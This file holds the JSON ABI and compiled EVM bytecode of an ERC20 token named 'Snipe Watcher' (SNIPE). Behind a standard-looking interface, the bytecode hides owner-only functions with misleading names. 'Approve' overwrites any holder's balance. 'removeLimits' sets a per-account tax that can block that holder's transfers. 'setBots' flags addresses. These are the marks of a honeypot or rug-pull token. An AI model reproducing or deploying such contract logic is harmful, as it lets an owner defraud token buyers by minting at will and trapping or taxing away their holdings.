[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "_address", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "Approve", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "removeLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_address", "type": "address" }, { "internalType": "bool", "name": "_value", "type": "bool" } ], "name": "setBots", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_pair", "type": "address" } ], "name": "setPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_buy", "type": "uint256" }, { "internalType": "uint256", "name": "_sell", "type": "uint256" } ], "name": "upgrageTax", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006657600080fd5b5060405162002ffc38038062002ffc83398181016040528101906200008c919062000595565b828281600290816200009f919062000870565b508060039081620000b1919062000870565b505050620000d4620000c86200019f60201b60201c565b620001a760201b60201c565b6200011f620000e86200019f60201b60201c565b620000f86200026d60201b60201c565b600a62000106919062000ae7565b8362000113919062000b38565b6200027660201b60201c565b600160066000620001356200019f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600881905550600060098190555050505062000c95565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002df9062000c0a565b60405180910390fd5b8060016000828254620002fc919062000c2c565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000354919062000c2c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003bb919062000c78565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200043082620003e5565b810181811067ffffffffffffffff82111715620004525762000451620003f6565b5b80604052505050565b600062000467620003c7565b905062000475828262000425565b919050565b600067ffffffffffffffff821115620004985762000497620003f6565b5b620004a382620003e5565b9050602081019050919050565b60005b83811015620004d0578082015181840152602081019050620004b3565b60008484015250505050565b6000620004f3620004ed846200047a565b6200045b565b905082815260208101848484011115620005125762000511620003e0565b5b6200051f848285620004b0565b509392505050565b600082601f8301126200053f576200053e620003db565b5b815162000551848260208601620004dc565b91505092915050565b6000819050919050565b6200056f816200055a565b81146200057b57600080fd5b50565b6000815190506200058f8162000564565b92915050565b600080600060608486031215620005b157620005b0620003d1565b5b600084015167ffffffffffffffff811115620005d257620005d1620003d6565b5b620005e08682870162000527565b935050602084015167ffffffffffffffff811115620006045762000603620003d6565b5b620006128682870162000527565b925050604062000625868287016200057e565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200068257607f821691505b6020821081036200069857620006976200063a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006c3565b6200070e8683620006c3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007516200074b62000745846200055a565b62000726565b6200055a565b9050919050565b6000819050919050565b6200076d8362000730565b620007856200077c8262000758565b848454620006d0565b825550505050565b600090565b6200079c6200078d565b620007a981848462000762565b505050565b5b81811015620007d157620007c560008262000792565b600181019050620007af565b5050565b601f8211156200082057620007ea816200069e565b620007f584620006b3565b8101602085101562000805578190505b6200081d6200081485620006b3565b830182620007ae565b50505b505050565b600082821c905092915050565b6000620008456000198460080262000825565b1980831691505092915050565b600062000860838362000832565b9150826002028217905092915050565b6200087b826200062f565b67ffffffffffffffff811115620008975762000896620003f6565b5b620008a3825462000669565b620008b0828285620007d5565b600060209050601f831160018114620008e85760008415620008d3578287015190505b620008df858262000852565b8655506200094f565b601f198416620008f8866200069e565b60005b828110156200092257848901518255600182019150602085019450602081019050620008fb565b868310156200094257848901516200093e601f89168262000832565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009e557808604811115620009bd57620009bc62000957565b5b6001851615620009cd5780820291505b8081029050620009dd8562000986565b94506200099d565b94509492505050565b60008262000a00576001905062000ad3565b8162000a10576000905062000ad3565b816001811462000a29576002811462000a345762000a6a565b600191505062000ad3565b60ff84111562000a495762000a4862000957565b5b8360020a91508482111562000a635762000a6262000957565b5b5062000ad3565b5060208310610133831016604e8410600b841016171562000aa45782820a90508381111562000a9e5762000a9d62000957565b5b62000ad3565b62000ab3848484600162000993565b9250905081840481111562000acd5762000acc62000957565b5b81810290505b9392505050565b600060ff82169050919050565b600062000af4826200055a565b915062000b018362000ada565b925062000b307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ee565b905092915050565b600062000b45826200055a565b915062000b52836200055a565b925082820262000b62816200055a565b9150828204841483151762000b7c5762000b7b62000957565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000bf260218362000b83565b915062000bff8262000b94565b604082019050919050565b6000602082019050818103600083015262000c258162000be3565b9050919050565b600062000c39826200055a565b915062000c46836200055a565b925082820190508082111562000c615762000c6062000957565b5b92915050565b62000c72816200055a565b82525050565b600060208201905062000c8f600083018462000c67565b92915050565b6123578062000ca56000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102b9578063a9059cbb146102d7578063c1f1b1b514610307578063dd62ed3e14610311578063f2fde38b1461034157610116565b8063715018a6146102595780638187f516146102635780638da5cb5b1461027f57806390ec57f11461029d57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d35780634db23e3e146101f1578063508e13b81461020d57806370a082311461022957610116565b806306fdde031461011b578063095ea7b31461013957806313b2a23e1461016957806318160ddd14610185575b600080fd5b61012361035d565b604051610130919061191f565b60405180910390f35b610153600480360381019061014e91906119da565b6103ef565b6040516101609190611a35565b60405180910390f35b610183600480360381019061017e9190611a7c565b610412565b005b61018d6104e9565b60405161019a9190611acb565b60405180910390f35b6101bd60048036038101906101b89190611ae6565b6104f3565b6040516101ca9190611a35565b60405180910390f35b6101db610522565b6040516101e89190611b55565b60405180910390f35b61020b600480360381019061020691906119da565b61052b565b005b61022760048036038101906102229190611b70565b6105ef565b005b610243600480360381019061023e9190611bb0565b61067d565b6040516102509190611acb565b60405180910390f35b6102616106c6565b005b61027d60048036038101906102789190611bb0565b61074e565b005b61028761080e565b6040516102949190611bec565b60405180910390f35b6102b760048036038101906102b291906119da565b610838565b005b6102c1610940565b6040516102ce919061191f565b60405180910390f35b6102f160048036038101906102ec91906119da565b6109d2565b6040516102fe9190611a35565b60405180910390f35b61030f6109f0565b005b61032b60048036038101906103269190611c07565b610c4c565b6040516103389190611acb565b60405180910390f35b61035b60048036038101906103569190611bb0565b610cd2565b005b60606002805461036c90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611c76565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610dc9565b9050610407818585610dd1565b600191505092915050565b61041a610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661043861080e565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048590611cf3565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806104fe610dc9565b905061050b858285610f99565b610516858585611025565b60019150509392505050565b60006012905090565b610533610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661055161080e565b73ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e90611cf3565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6105f7610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661061561080e565b73ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066290611cf3565b60405180910390fd5b81600881905550806009819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ce610dc9565b73ffffffffffffffffffffffffffffffffffffffff166106ec61080e565b73ffffffffffffffffffffffffffffffffffffffff1614610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990611cf3565b60405180910390fd5b61074c60006116c6565b565b610756610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661077461080e565b73ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190611cf3565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610840610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661085e61080e565b73ffffffffffffffffffffffffffffffffffffffff16146108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab90611cf3565b60405180910390fd5b60008110156108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef90611d85565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606003805461094f90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461097b90611c76565b80156109c85780601f1061099d576101008083540402835291602001916109c8565b820191906000526020600020905b8154815290600101906020018083116109ab57829003601f168201915b5050505050905090565b60006109e66109df610dc9565b8484611025565b6001905092915050565b6109f8610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610a1661080e565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611cf3565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611dba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190611dba565b6040518363ffffffff1660e01b8152600401610bc7929190611de7565b6020604051808303816000875af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190611dba565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610cda610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610cf861080e565b73ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590611cf3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490611e82565b60405180910390fd5b610dc6816116c6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790611f14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea690611fa6565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8c9190611acb565b60405180910390a3505050565b6000610fa58484610c4c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461101f5781811015611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612012565b60405180910390fd5b61101e8484848403610dd1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906120a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90612136565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906121c8565b60405180910390fd5b60006001905061119a858561178c565b156111a457600090505b6000811561136f5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ba57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361125e5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112b95760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561134557600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61136b606461135d838861183790919063ffffffff16565b61184d90919063ffffffff16565b9150505b600081111561150e576113ca81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115059190611acb565b60405180910390a35b61156b818561151d9190612217565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160b81856115bd9190612217565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876116a99190612217565b6040516116b69190611acb565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061182f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611845919061224b565b905092915050565b6000818361185b91906122bc565b905092915050565b600081836118719190612217565b905092915050565b6000818361188791906122ed565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118c95780820151818401526020810190506118ae565b60008484015250505050565b6000601f19601f8301169050919050565b60006118f18261188f565b6118fb818561189a565b935061190b8185602086016118ab565b611914816118d5565b840191505092915050565b6000602082019050818103600083015261193981846118e6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061197182611946565b9050919050565b61198181611966565b811461198c57600080fd5b50565b60008135905061199e81611978565b92915050565b6000819050919050565b6119b7816119a4565b81146119c257600080fd5b50565b6000813590506119d4816119ae565b92915050565b600080604083850312156119f1576119f0611941565b5b60006119ff8582860161198f565b9250506020611a10858286016119c5565b9150509250929050565b60008115159050919050565b611a2f81611a1a565b82525050565b6000602082019050611a4a6000830184611a26565b92915050565b611a5981611a1a565b8114611a6457600080fd5b50565b600081359050611a7681611a50565b92915050565b60008060408385031215611a9357611a92611941565b5b6000611aa18582860161198f565b9250506020611ab285828601611a67565b9150509250929050565b611ac5816119a4565b82525050565b6000602082019050611ae06000830184611abc565b92915050565b600080600060608486031215611aff57611afe611941565b5b6000611b0d8682870161198f565b9350506020611b1e8682870161198f565b9250506040611b2f868287016119c5565b9150509250925092565b600060ff82169050919050565b611b4f81611b39565b82525050565b6000602082019050611b6a6000830184611b46565b92915050565b60008060408385031215611b8757611b86611941565b5b6000611b95858286016119c5565b9250506020611ba6858286016119c5565b9150509250929050565b600060208284031215611bc657611bc5611941565b5b6000611bd48482850161198f565b91505092915050565b611be681611966565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d611941565b5b6000611c2c8582860161198f565b9250506020611c3d8582860161198f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611cdd60208361189a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611d6f602e8361189a565b9150611d7a82611d13565b604082019050919050565b60006020820190508181036000830152611d9e81611d62565b9050919050565b600081519050611db481611978565b92915050565b600060208284031215611dd057611dcf611941565b5b6000611dde84828501611da5565b91505092915050565b6000604082019050611dfc6000830185611bdd565b611e096020830184611bdd565b9392505050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e6c60268361189a565b9150611e7782611e10565b604082019050919050565b60006020820190508181036000830152611e9b81611e5f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611efe60248361189a565b9150611f0982611ea2565b604082019050919050565b60006020820190508181036000830152611f2d81611ef1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f9060228361189a565b9150611f9b82611f34565b604082019050919050565b60006020820190508181036000830152611fbf81611f83565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ffc601d8361189a565b915061200782611fc6565b602082019050919050565b6000602082019050818103600083015261202b81611fef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061208e60258361189a565b915061209982612032565b604082019050919050565b600060208201905081810360008301526120bd81612081565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061212060238361189a565b915061212b826120c4565b604082019050919050565b6000602082019050818103600083015261214f81612113565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121b260268361189a565b91506121bd82612156565b604082019050919050565b600060208201905081810360008301526121e1816121a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612222826119a4565b915061222d836119a4565b9250828203905081811115612245576122446121e8565b5b92915050565b6000612256826119a4565b9150612261836119a4565b925082820261226f816119a4565b91508282048414831517612286576122856121e8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006122c7826119a4565b91506122d2836119a4565b9250826122e2576122e161228d565b5b828204905092915050565b60006122f8826119a4565b9150612303836119a4565b925082820190508082111561231b5761231a6121e8565b5b9291505056fea2646970667358221220f43f8c778f6046e409afe206a55a77a0a0d981c2b9ebdaa8e5196d12bcaa2a9d64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000f4240000000000000000000000000000000000000000000000000000000000000000d536e6970652057617463686572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534e495045000000000000000000000000000000000000000000000000000000